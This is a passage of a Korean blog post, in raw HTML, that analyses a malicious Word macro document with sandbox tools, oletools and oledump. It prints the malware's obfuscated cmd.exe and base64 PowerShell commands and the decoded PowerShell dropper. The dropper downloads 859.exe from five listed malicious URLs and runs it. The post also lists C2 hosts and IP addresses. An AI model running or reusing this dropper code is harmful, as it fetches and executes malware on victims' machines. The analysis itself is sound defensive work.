&lt;li&gt;SHA256: 2C56C3A464728D07356992B8A9105FEA2A9321E2572DDF18DB89A74AED4E8C1F&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;분석환경&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Virtual Machine: Windows10 Pro 64bit , Office 2013&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 파일 실행 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;매크로 실행 전&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;샘플파일을 더블 클릭하여 Word문서를 열면, &lt;code&gt;문서 안에 매크로를 포함&lt;/code&gt;하고 있는 것을 알 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;476&quot; data-filename=&quot;blob&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceXxBN/btrfFF8iRUL/ZjrXZ7JMqyKH3gmcjLNAd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceXxBN/btrfFF8iRUL/ZjrXZ7JMqyKH3gmcjLNAd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceXxBN/btrfFF8iRUL/ZjrXZ7JMqyKH3gmcjLNAd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceXxBN%2FbtrfFF8iRUL%2FZjrXZ7JMqyKH3gmcjLNAd1%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;476&quot; data-filename=&quot;blob&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;매크로 실행 후&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Process hacker, Process Monitor, WireShark를 실행 한 상태에서 매크로 실행 후 살펴보기
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Word 문서의 &quot;Enable Content&quot; 버튼을 클릭하여 매크로를 실행&lt;/li&gt;
&lt;li&gt;Command Line을 이용하여 powershell을 실행하고 있음을 알 수 있음&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;100&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJjm2/btrfxNTcGIH/oK09U3DkU0qNZsygMaBCg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJjm2/btrfxNTcGIH/oK09U3DkU0qNZsygMaBCg0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJjm2/btrfxNTcGIH/oK09U3DkU0qNZsygMaBCg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJjm2%2FbtrfxNTcGIH%2FoK09U3DkU0qNZsygMaBCg0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;100&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Process Monitor로 프로세스 실행, 종료 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;process 실행, 종료만 필터링&lt;/li&gt;
&lt;li&gt;cmd.exe, powershell.exe가 실행 되나 command는 난독화된 상태&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctDXm3/btrftnH8ABV/KxexrC1upN1ogLkMJCO7w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctDXm3/btrftnH8ABV/KxexrC1upN1ogLkMJCO7w0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctDXm3/btrftnH8ABV/KxexrC1upN1ogLkMJCO7w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctDXm3%2FbtrftnH8ABV%2FKxexrC1upN1ogLkMJCO7w0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;1910&quot; data-origin-height=&quot;436&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;cmd.exe command&lt;br /&gt;
&lt;pre id=&quot;code_1632305994298&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;C:\Windows\System32\cmd.exe&quot; /v:^on^ ^ ^ /r&quot;s^e^T ^ ^X^H^=^pow^er(0e^ll^ -^e^ ^J^:B^E:H^I^:^Sw^:9:G{^:Z^,^B3^:C^#:bwBi^:^G^o^:Z,B^4^:H,^:^I:^B.^:^GU^:d^:^:/^:^Fq:Z^,Bi:^E;:b^:Bp:G^U:^bgB#:D(:^J:^B^L:^H^Y^:,g^:^9^:Cq^:a^:B#^:H^,:q:^:^6:C8^:^L^wBk^:Gk:Z^wB^p:^H,^:Y,^B(:C{^:^Z,B#^:^G{^:^Y,Bz^:G8:^Z^g^B^#^:C^{^:^Z,B^1:C^8:Uw^B:^:Gg^:d:B#^:H::^.^g^:v^:C8^:^q^wBv^:G^;:^a^,^Bv^:^G^#:Y,B2^:^G^U:^bg^:/^:G;^:bwB^t^:C^8:^d^,^B0:G(:^S^g^:#^:^E:^:^a^:^B^#^:H^,^:q^::6^:C^8:L^wBp:H;:bw^B4:^Gk:^Y^,^B(:G^k^:^d^:B^l:H^;^:^Lg^B4:G8^:b^,^:/:G^{^:^Z^w:v:^D^;:^a:B;^:H^g^:V^,B^1:G^,^:NwB^:^:^G^g^:^d:^B#:^H::.g:v^:C8^:b^,Bv^:H^Y^:^Z,^Bp:H^;:Z^wBv^:^G,:b^w^B^p^:C{:^Yw^Bv:^G^#:^L^g^Bi^:^HI^:L^w^B^Z^:H^I^:R^,:^z:D^I^:Vw^BN^:^E^,^:^,:B^o^:H^,^:^d:^B^w^:^D^o^:L^w^:v^:^G^{:a,B2:G^E:qwBp:C^{^:a^,B/:C^8^:Uw:^`:C{:^UwB^w:^Gw:^a^,^B^#:Cg^:^Jw^B:^:Cq^:^K,^:^7:C,:Z^gB3:H^o:^I^:^:9:C:^:^Jw:^{^:^D^U:.,:^`^:^D(:J:B^I:E{^:q^::9:C,^:^Z,B/:HY:^.^gB^w^:H^U:Y^gB(:Gk:^Yw:r^:Cq:^X^:^:^`:C(:^J:^Bm:H^q^:^eg:r:Cq:LgB^l:H^g:^Z^,^:`:^D(^:ZgBv^:HI^:^Z,^B0^:G;:^a^:^:o:C,:V^gB^3^:G^g:I^:Bp^:G{^:I^::^k^:E(^:d^gBC:Ck^:^ewB#^:^HI^:e,^B^7^:C^,^:R^:^B^$:E(^:L^g^BE:^G8^:^d^wB/:^Gw^:bwB0^:G^,:R^gBp^:^Gw^:Z^,:o^:C^,:V^gB3^:Gg^:^L::g^:C,^:^S:B^.^:H^::K^,:^7:^E^k^:^bgB2:^G8^:a^w^B^l:C#:^S^,^B#^:GU^:b^,^:g:C^,^:S^:B.^:H:^:.wB^i^:^HI:Z,^B0:^G(:^.wB9:^G;:Y^,^B^#^:G;:a:B^7^:^H#:^f^,:g:C:^:I::^g:C^:^:^I::g^:C^::^I^:^:g:C::I^:^:^g^:C:^:I::g^:C^::&amp;amp; s^e^T ^ ^H^q=!^XH^:^q=c!&amp;amp;&amp;amp;S^E^T ^43^G=^!^H^q^:^0^=h!&amp;amp;&amp;amp; s^Et ^ ^ ^ k^ePY=^!^4^3^G^:`^=n^!&amp;amp;&amp;amp; s^e^T ^L^G0=!^k^e^P^Y^:$=^y!&amp;amp;&amp;amp; se^t ^ ^ ^7M1^S=^!^L^G0^:^4^=^j!&amp;amp; S^E^t ^ c^KmC=^!^7M^1^S:(^=s!&amp;amp;s^E^T ^ ^ v^B^6^a=!c^K^mC^:^,=^Q^!&amp;amp;&amp;amp;s^Et ^ ^ ^ A^j^p=!v^B^6^a:.=^O^!&amp;amp;&amp;amp; s^eT ^ ^ Vn=^!^A^j^p^:^:^=^A!&amp;amp;se^t ^ ^ ^Y^a=!Vn:^#^=^0!&amp;amp;&amp;amp; SE^T NCt=^!^Y^a:^{^=^4^!&amp;amp;&amp;amp; SE^T ^gn0^9=^!NC^t:/^=^u!&amp;amp; s^et ^ ^ ^EH=^!^gn^0^9^:;^=^M^!&amp;amp;C^A^L^l %^EH% &quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;powershell.exe command&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1632306052978&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;powershell -e JABEAHIASwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABLAHYAQgA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAZwBpAHQAYQBsAC4AZQB0AG4AYQBzAG8AZgB0AC4AZQB1AC8AUwBAAGgAdAB0AHAAOgAvAC8AcwBvAGMAaQBvAG0AYQB2AGUAbgAuAGMAbwBtAC8AdQBhAGsASgA0AEAAaAB0AHQAcAA6AC8ALwBpAHMAbwBjAGkAYQBsAGkAdABlAHMALgBjAG8AbQAuAG4AZwAvADMAaABMAHgAVQB1AGQANwBAAGgAdAB0AHAAOgAvAC8AbQBvAHYAZQBpAHMAZwBvAGQAbwBpAC4AYwBvAG0ALgBiAHIALwBZAHIARQAzADIAVwBNAEQAQABoAHQAdABwADoALwAvAG4AaQB2AGEAcwBpAC4AaQBuAC8AUwAnAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAZgB3AHoAIAA9ACAAJwA4ADUAOQAnADsAJABIAE4AcAA9ACQAZQBuAHYAOgBwAHUAYgBsAGkAYwArACcAXAAnACsAJABmAHcAegArACcALgBlAHgAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQAVgB3AGgAIABpAG4AIAAkAEsAdgBCACkAewB0AHIAeQB7ACQARAByAEsALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVgB3AGgALAAgACQASABOAHAAKQA7AEkAbgB2AG8AawBlAC0ASQB0AGUAbQAgACQASABOAHAAOwBiAHIAZQBhAGsAOwB9AGMAYQB0AGMAaAB7AH0AfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;Wireshark 실행 후 네트워크 연결 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;http.request or dns필터링&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;459&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LiMtu/btrfs6Z3Lv0/Z22DCdpk1LFkEGNfRnQaIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LiMtu/btrfs6Z3Lv0/Z22DCdpk1LFkEGNfRnQaIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LiMtu/btrfs6Z3Lv0/Z22DCdpk1LFkEGNfRnQaIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLiMtu%2Fbtrfs6Z3Lv0%2FZ22DCdpk1LFkEGNfRnQaIK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;459&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Network Connection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;letter-spacing: 0px; border-collapse: collapse; width: 67.2093023255814%; height: 108px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style8&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Dst.IP&lt;/td&gt;
&lt;td&gt;URI&lt;/td&gt;
&lt;td&gt;Protocol&lt;/td&gt;
&lt;td&gt;Status&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;91.230.192.105&lt;/td&gt;
&lt;td&gt;&amp;nbsp;digital.etnasoft.eu/S&amp;nbsp;&lt;/td&gt;
&lt;td&gt;HTTP&amp;nbsp;&lt;/td&gt;
&lt;td&gt;404&amp;nbsp;Not Found&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;148.66.136.60&amp;nbsp;&lt;/td&gt;
&lt;td&gt;sociomaven.com/uakJ4&amp;nbsp;&lt;/td&gt;
&lt;td&gt;HTTP&amp;nbsp;&lt;/td&gt;
&lt;td&gt;404&amp;nbsp;Not Found&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ip&amp;nbsp;not&amp;nbsp;found&amp;nbsp;&lt;/td&gt;
&lt;td&gt;isocialites.com.ng&amp;nbsp;&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ip&amp;nbsp;not&amp;nbsp;fonund&amp;nbsp;&lt;/td&gt;
&lt;td&gt;moveisgodoi.com.br&amp;nbsp;&lt;/td&gt;
&lt;td&gt;DNS&lt;/td&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;166.162.27.151&amp;nbsp;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;a href=&quot;http://nivasi.in/S&quot;&gt;http://nivasi.in/S&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;HTTP&amp;nbsp;&lt;/td&gt;
&lt;td&gt;404&amp;nbsp;Not Found&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;매크로 확인, 추출&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.decalage.info/python/oletools&quot;&gt;&lt;code&gt;oletools&lt;/code&gt;&lt;/a&gt;를 이용하여 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-t: triage mode
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;M: Macros, A: Auto-executalbe, S: Supicious keywords, H: Hex strings, B: Base64 strings&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;1834&quot; data-origin-height=&quot;360&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wOpzy/btrfBsBCZM0/xzZCXRmLtvnckCXwvOaJEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wOpzy/btrfBsBCZM0/xzZCXRmLtvnckCXwvOaJEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wOpzy/btrfBsBCZM0/xzZCXRmLtvnckCXwvOaJEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwOpzy%2FbtrfBsBCZM0%2FxzZCXRmLtvnckCXwvOaJEk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;1834&quot; data-origin-height=&quot;360&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;의심스러운 부분 출력(-d option)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;387&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VQhNq/btrfDhfyz7P/kfWOd2UnrfECNtRcplUuK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VQhNq/btrfDhfyz7P/kfWOd2UnrfECNtRcplUuK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VQhNq/btrfDhfyz7P/kfWOd2UnrfECNtRcplUuK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVQhNq%2FbtrfDhfyz7P%2FkfWOd2UnrfECNtRcplUuK0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;387&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://(https://blog.didierstevens.com/programs/oledump-py/)&quot;&gt;&lt;code&gt;oledump&lt;/code&gt;&lt;/a&gt;를 이용하여 매크로 확인 또는
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;총 3개의 매크로, VBA 스크립트를 포함(8, 9, 16)&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;405&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/v8oLc/btrftnOUwWu/jOqycrLNikUL6yrOMDJky0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/v8oLc/btrftnOUwWu/jOqycrLNikUL6yrOMDJky0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/v8oLc/btrftnOUwWu/jOqycrLNikUL6yrOMDJky0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fv8oLc%2FbtrftnOUwWu%2FjOqycrLNikUL6yrOMDJky0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;405&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;매크로 추출, 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;100&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zJPAT/btrftmWIWMj/szvqjDYyGELCTvikECBKIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zJPAT/btrftmWIWMj/szvqjDYyGELCTvikECBKIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zJPAT/btrftmWIWMj/szvqjDYyGELCTvikECBKIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzJPAT%2FbtrftmWIWMj%2FszvqjDYyGELCTvikECBKIk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;706&quot; data-origin-height=&quot;100&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;매크로 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;추출한 매크로 파일을 분석 또는 추출하지 않고 word에 포함되어 있는 [view]-[Macro]를 이용해서 분석해도 됨
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AutoOpen()부터 분석 시작 &amp;rarr; 분석하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;200&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqkRlV/btrfIXN8whu/Aq1oHg6EJmsgKuKyvKbN4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqkRlV/btrfIXN8whu/Aq1oHg6EJmsgKuKyvKbN4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqkRlV/btrfIXN8whu/Aq1oHg6EJmsgKuKyvKbN4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqkRlV%2FbtrfIXN8whu%2FAq1oHg6EJmsgKuKyvKbN4k%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;200&quot; data-filename=&quot;blob&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Command Line 분석&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;powershell 실행 스크립트: 상세 분석하지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Powershell Command 분석&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;powershell.exe -e 이후의 문자열에 대해 Base64 Decoding &amp;rarr; Null Byte 제거&amp;rarr;';'문자를 ';\n'로 변경 후 분석
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Drop file을 다운로드 하기 위한 URI, 파일명, 다운로드 경로가 포함&lt;/li&gt;
&lt;li&gt;
&lt;pre id=&quot;code_1632306158369&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$DrK=new-object Net.WebClient;
$KvB='http://digital.etnasoft.eu/S@http://sociomaven.com/uakJ4@http://isocialites.com.ng/3hLxUud7@http://moveisgodoi.com.br/YrE32WMD@http://nivasi.in/S'.Split('@');
$fwz = '859';
$HNp=$env:public+'\'+$fwz+'.exe';
foreach($Vwh in $KvB){try{$DrK.DownloadFile($Vwh, $HNp);
Invoke-Item $HNp;
break;
}catch{}}​&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;$KvB에 접속 URL이 있는 것을 볼 수 있음: '@' 문자 기준으로 split
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://digital.etnasoft.eu/S&quot;&gt;http://digital.etnasoft.eu/S&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://sociomaven.com/uakJ4&quot;&gt;http://sociomaven.com/uakJ4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://isocialites.com.ng/3hLxUud7&quot;&gt;http://isocialites.com.ng/3hLxUud7&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://moveisgodoi.com.br/YrE32WMD&quot;&gt;http://moveisgodoi.com.br/YrE32WMD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://nivasi.in/S&quot;&gt;http://nivasi.in/S&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;$HNp에서 파일 다운로드 경로 지정: public 환경변수의 경로에 '859.exe' 다운로드
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;분석환경에서 public 환경 변수의 경로: c:\users\Public&lt;/li&gt;
&lt;li&gt;현재 C2 서버가 모두 접속 불가로 실제 다운로드, 실행은 되지 않음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. MITRE ATT&amp;amp;CK 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;MITRE ATT&amp;amp;CK 사이트 접속&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK 사이트 URL: &lt;a href=&quot;https://attack.mitre.org/&quot;&gt;https://attack.mitre.org&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
